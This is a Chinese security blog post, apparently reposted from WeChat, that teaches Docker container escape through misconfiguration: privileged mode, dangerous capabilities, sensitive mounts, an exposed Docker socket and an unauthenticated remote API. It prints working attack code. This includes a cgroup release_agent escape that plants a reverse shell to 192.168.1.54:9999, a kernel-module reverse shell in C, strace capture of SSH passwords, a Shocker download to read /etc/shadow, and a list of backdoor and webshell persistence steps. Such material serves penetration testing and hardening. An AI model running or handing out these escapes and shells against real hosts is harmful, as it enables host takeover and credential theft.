云安全(八):容器逃逸—配置不当

admin 2025年5月30日13:34:49评论28 views字数 526阅读1分45秒阅读模式

0x00 Introduction

本篇章中将具体说明配置不当而导致容器逃逸的问题。个人才疏学浅,有未阐述清楚或遗漏的地方,还请谅解,相关的内容可自行搜索。

当容器的权限配置不当或挂载敏感目录等,这些错误配置为攻击者提供了利用的机会。攻击者可以通过利用这些错误配置实现容器逃逸,从而控制宿主机。

云安全(八):容器逃逸—配置不当

Namespace 用于隔离,而 CGroup 用于资源控制。

Namespace 是 Linux 内核的核心功能,名为命令空间,用于隔离进程的视图,使其只能看到特定范围的系统资源。而 Docker 就是使用 Namespace 机制来为每一个容器创建一个独立的隔离环境。

CGroup 全称 Control group,名为控制组,是 Linux 内核提供的一种对系统资源进行精细化的限制、分配和监控的机制。而 Docker 使用 CGroup 机制来确保容器在共享宿主机资源时既能高效运行,又不会因资源争用导致系统不稳定。简单来说,容器之间是相互隔离的,但却是共用系统资源的,为了保持宿主机的稳定,Docker 使用 CGroup 机制来限制容器占用的资源。

整个容器的攻击面抽象成四类威胁,如下:

云安全(八):容器逃逸—配置不当

图片来源:https://mp.weixin.qq.com/s/o5fGivwgBMR-w60SXQbSYA

0x01 特权模式

在介绍使用特权模式进行容器逃逸时,需要先了解 Linux 中的 Capabilities 机制。

Capabilities 是一种细粒度的权限控制机制,将 root 的超级权限拆分为多个独立的能力模块,允许进程或线程按需获取特定权限,而非直接拥有完整的 root 权限。用来替代传统的“全有或全无”的超级用户(root)权限模型,大约分为 40+ 种不同的权限。

安装 capsh 命令:sudo apt install libcap2-bin

更多有关 Capabilities 的利用方式,可参考:https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html

可通过 grep Cap /proc/1/status 命令来查看容器拥有的 Capabilities。

云安全(八):容器逃逸—配置不当

字符串后面的数字表示位掩码,位掩码中的每个位表示不同的功能,可以通过 capsh 命令来解码位掩码。

云安全(八):容器逃逸—配置不当

除此之外,还可直接通过 capsh --print 来查看当前拥有的 Capabilities。

云安全(八):容器逃逸—配置不当

1. Privileged

最常见的逃逸方式就是在运行容器时加上 --privileged=true 参数,这会导致容器与宿主机共享内核,容器可直接访问宿主机的设备和内核,且任何容器内的内核级操作均会直接影响宿主机。

检测是否存在漏洞:cat /proc/self/status | grep CapEff

判断 CapEff 的值是否为 0000003fffffffff 或 0000001fffffffff

sudo docker run --privileged=true -it --rm ubuntu bash

云安全(八):容器逃逸—配置不当在特权模式下的容器,拥有访问宿主机上所有设备的权限,所以通过 fdisk -l 能够看到宿主机上磁盘和分区的详细信息。

云安全(八):容器逃逸—配置不当

将宿主机上的文件系统挂载到容器的 /tmp/test 下。

云安全(八):容器逃逸—配置不当

容器逃逸的后利用,常见的有如下几种(根据不同业务,有着不同的利用方式):

  1. 向宿主机写入公私钥
  2. 向宿主机写入计划任务
  3. 向宿主机写入后门用户
  4. 搜索宿主机上的敏感文件
  5. 如果宿主机开启 Web 服务,还可以写入 WebShell

使用容器渗透工具 cdk 一键利用。

云安全(八):容器逃逸—配置不当

2. CAP_SYS_ADMIN

CAP_SYS_ADMIN 近似 "超级用户" 子集,允许执行:挂载文件系统、修改系统时钟、设置磁盘配额、调整网络配置等(如 mount 命令依赖此权限)。真实环境下难以遇到,可当作知识点了解。具体原理可参考:https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

sudo docker run --rm -it --security-opt apparmor=unconfined --cap-add=SYS_ADMIN ubuntu /bin/bash
云安全(八):容器逃逸—配置不当

下述利用方法同样可于特权模式下,有关 cdk 一键式利用,可查看下述 CGroup 一节的内容。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`echo"$host_path/breakout" > /tmp/cgrp/release_agentecho'#!/bin/bash' > /breakoutecho'bash -i >& /dev/tcp/192.168.1.54/9999 0>&1' >> /breakoutchmod a+x /breakoutsh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"

在 192.168.1.54 上监听 9999 端口,并依次执行上述命令,可以拿到宿主机 root 权限。

云安全(八):容器逃逸—配置不当

3. CAP_SYS_PTRACE

CAP_SYS_PTRACE 允许调试追踪任意进程(如 strace/gdb 工具所需权限),可绕过常规权限检查,来实现读取或修改其他进程内存。

由于 --pid=host 设置会让容器可以看到宿主机的所有进程,结合 cap_sys_ptrace 权限即可向宿主机进程注入 Shellcode 来实现逃逸。

sudo docker run --pid=host --security-opt apparmor=unconfined --cap-add=SYS_PTRACE --rm -it ubuntu bash

拥有该特权集且容器与宿主机共享进程命名空间时,可通过 straceptrace 抓取宿主机 SSH 密码。当用户登录时即可抓取到 SSH 登录的明文口令。

strace -f -F -p `ps aux | grep "sshd -D" | grep -v grep | awk {'print $2'}` -t -e trace=read,write -s 32 2 > sshd.loggrep -E 'read(6, ".+\0\0\0\.+"' sshd.log

除此之外,还可以通过进程注入的方式来获取 Shell。首先生成原始的 MSF Payload。

云安全(八):容器逃逸—配置不当

入器下载地址:https://github.com/dismantl/linux-injector;需要注意的是,该注入器需要安装 fasm,下载地址:https://flatassembler.net/download.php

cd fasmexport PATH=$PATH:`pwd`cd linux-injector-mastermake
云安全(八):容器逃逸—配置不当

这里手动创建一个宿主机 root 权限的进程,并进入容器内。

云安全(八):容器逃逸—配置不当

通过工具将 MSF 的 Shellcode 注入到指定宿主机的进程中。

云安全(八):容器逃逸—配置不当

4. CAP_SYS_MODULE

CAP_SYS_MODULE 允许加载或卸载内核模块(如 insmod/rmmod 命令所需权限),可直接操作内核代码。

sudo docker run --cap-add=SYS_MODULE -it ubuntu:18.04 bash

创建 revshell.c 文件,并写入如下代码:

#include<linux/kmod.h>#include<linux/module.h>MODULE_LICENSE("GPL");char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/host/port 0>&1"NULL};staticchar* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"NULL };staticint __init reverse_shell_init(void){return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}staticvoid __exit reverse_shell_exit(void){    printk(KERN_INFO "Exitingn");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);

再创建 Makefile 文件。

obj-m +=revshell.oall:    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
云安全(八):容器逃逸—配置不当

如果容器中没有 insmod 命令,可通过 apt install kmod 来安装。

云安全(八):容器逃逸—配置不当

也可手动编译该命令并传入容器实现利用。具体代码可参考:https://bbs.kanxue.com/thread-276813.htm

5. CAP_DAC_READ_SEARCH(Shocker)

CAP_DAC_READ_SEARCH 权限允许进程绕过文件读权限检查,即使进程没有对文件的读权限(r--),也能直接读取文件内容。

curl -o /tmp/shocker.c http://stealth.openwall.net/xSports/shocker.csed -i "s//.dockerinit//tmp/a.out/" shocker.cgcc -Wall -std=c99 -O2 shocker.c -staticsudo docker run --rm -it --cap-add=CAP_DAC_READ_SEARCH -v /tmp:/tmp ubuntu bash

执行完上述命令后,会在容器的 /tmp 目录下看到一个 a.out 的程序。执行该程序就会读取宿主机中 /etc/shadow 文件,随后可破解密文来 SSH 登录宿主机。

云安全(八):容器逃逸—配置不当

可自行修改为想要读取的文件。

云安全(八):容器逃逸—配置不当

0x02 不安全的挂载

挂载是 Linux 的核心概念之一,其本质是将存储设备(如硬盘分区、U盘)或虚拟文件系统(如 procfstmpfs)关联到目录树的一个节点,使该目录成为访问设备或文件系统的入口。

在 Windows 系统上插入 U 盘后,会自动分配盘符;而在 Linux 系统中,插入 U 盘后,还需要将其手动挂载到系统的某个目录下,才能被访问。

在创建容器时,可通过 -v 参数来指定将宿主机某个目录挂载到容器下的某一目录中。在 Linux 下的权限维持有多种方式,其中常见的就是创建计划任务、写入公私钥等,这些都需要向特定的文件中写入语句,如果容器挂载了宿主机的这些目录,那么就会影响宿主机。而各种各样的权限维持手段,如与容器挂载目录有重合的地方,就可用于容器逃逸。

1. Profcs

procfs(进程文件系统) 是 Linux 中一种虚拟文件系统,挂载于 /proc 目录,通过文件和目录的形式动态展示系统内核和进程的实时信息。

从 Kernel v2.6.19 版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 |,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

sudo docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04 bash

特征:如果有两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。

云安全(八):容器逃逸—配置不当

具体利用步骤可参考文档:https://xz.aliyun.com/news/8151,这里使用 cdk 来一键化利用。

云安全(八):容器逃逸—配置不当

2. CGroup

当将宿主机的 CGroup 目录挂载到容器内时,可劫持宿主机 CGroup 的 release_agent 文件,通过 Linux 中 cgroup 的 notify_on_release 机制触发 shellcode 执行,完成逃逸。

sudo docker run --rm -it --privileged=true ubuntu:18.04 bash
云安全(八):容器逃逸—配置不当

该利用方式也适用于上述中的 Privileged 和 CAP_SYS_ADMIN 中。

3. Docker Socket

Docker Socket 是 Docker Daemon(守护进程)监听的 Unix 域套接字,Docker 客户端通过此 Socket 与 Docker Daemon 进行交互。如果将 Docker Socket(默认位置:/var/run/docker.sock)挂载到容器内,则容器内的进程可以直接向宿主机的 Docker Daemon 发送指令。

sudo docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 bash

可直接将宿主机根目录挂载到容器,同特权模式逃逸方法一致;或直接创建特权容器,利用 CGroup 相关机制来实现命令执行。

云安全(八):容器逃逸—配置不当

4. lxcfs

lxcfs 是一个开源的用户态文件系统,当容器挂载了lxcfs 目录时便包含了cgroup目录,且对cgroup有写权限,从而可以实现逃逸。lxcfs(Linux Container Filesystem)并不是 Linux 系统自带的原生组件,需要自行下载并安装,该逃逸只适用于特定环境下,具体内容可参考:https://blog.nsfocus.net/docker/

0x03 其他风险点

本节将说明 Docker 配置不当导致的一些其他安全问题,包括:远程访问 Docker API、容器信息泄漏、利用 Docker 进行提权、不可信的容器来源等。虽然内容上跟容器逃逸没有直接关联,但在特定场景下可被间接利用来逃逸。

1. 信息泄漏

在常规渗透测试过程中的信息泄漏问题,同样适用于容器中。在拿下容器后,可以搜索当前容器中的敏感信息,某些情况下,这些信息可用于辅助逃逸,甚至可直接影响宿主机(如:SSH 登录凭证)。常见的敏感信息包括:环境变量、凭证信息、配置文件等。

信息泄漏的地方除了容器本身外,还可尝试从容器的来源进行搜集,大部分都是通过 Dockerfile 或 docker-compose.yaml 文件来创建容器,这些文件中可能也会包含敏感信息,辅助后利用。

2. Docker 提权

该节不属于容器相关的问题,是指用 Docker 实现宿主机的提权。默认情况下,管理 Docker 需要 root 或在 Docker 组中,如果当前用户非 root 但处于 Docker 组中,如此就可以此来获取 root 权限。具体利用可参考:https://gtfobins.github.io/

3. Remote API 未授权

Docker 是基于 C/S 的架构,客户端除了可以通过本地 cli 的方式访问 Docker 服务端(也就是之前文章所说的 Docker Daemon)外,还可以通过远程 API 的方式访问。如果开启远程访问但没有限制来源,那么就可以通过容器逃逸的方式拿下宿主机。如下两种远程访问的方式:

  • curl http://x.x.x.x:2375/info
  • docker -H tcp://x.x.x.x:2375 info

Docker 服务端默认只能本地访问,可修改 /lib/systemd/system/docker.service 文件来实现远程访问。

云安全(八):容器逃逸—配置不当

将上述图片箭头所指向的地方改为如下形式:

ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 --containerd=/run/containerd/containerd.sock
云安全(八):容器逃逸—配置不当

利用方式可通过新建特权容器,也可以直接将宿主机根目录挂载到容器中。这里通过 cdk 一键式使用,如下:

云安全(八):容器逃逸—配置不当

4. 容器安全扫描

如果镜像中使用了不安全的组件、被投毒、被植入木马病毒等,那么以此创建的容器就存在被攻陷的风险。如下是几款容器漏洞扫描工具,可用于扫描容器存在的安全风险。

https://github.com/quay/clair

https://github.com/slimtoolkit/slim

https://github.com/anchore/anchore-engine

https://github.com/docker/docker-bench-security

0x04 Reference

https://blog.nsfocus.net/docker/

https://github.com/Metarget/metarget

https://zhuanlan.zhihu.com/p/43586159

https://zhuanlan.zhihu.com/p/43671129

https://bbs.kanxue.com/thread-276813.htm

https://www.cnblogs.com/kqdssheng/p/18275541

https://mp.weixin.qq.com/s/o5fGivwgBMR-w60SXQbSYA

https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ

https://wiki.teamssix.com/cloudnative/docker/container-escape-check.html

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html

https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/

https://www.cs.ru.nl/bachelors-theses/2020/Joren_Vrancken___4593847___A_Methodology_for_Penetration_Testing_Docker_Systems.pdf

原文始发于微信公众号(JJ1ng):云安全(八):容器逃逸—配置不当

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日13:34:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   云安全(八):容器逃逸—配置不当https://cn-sec.com/archives/3873471.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息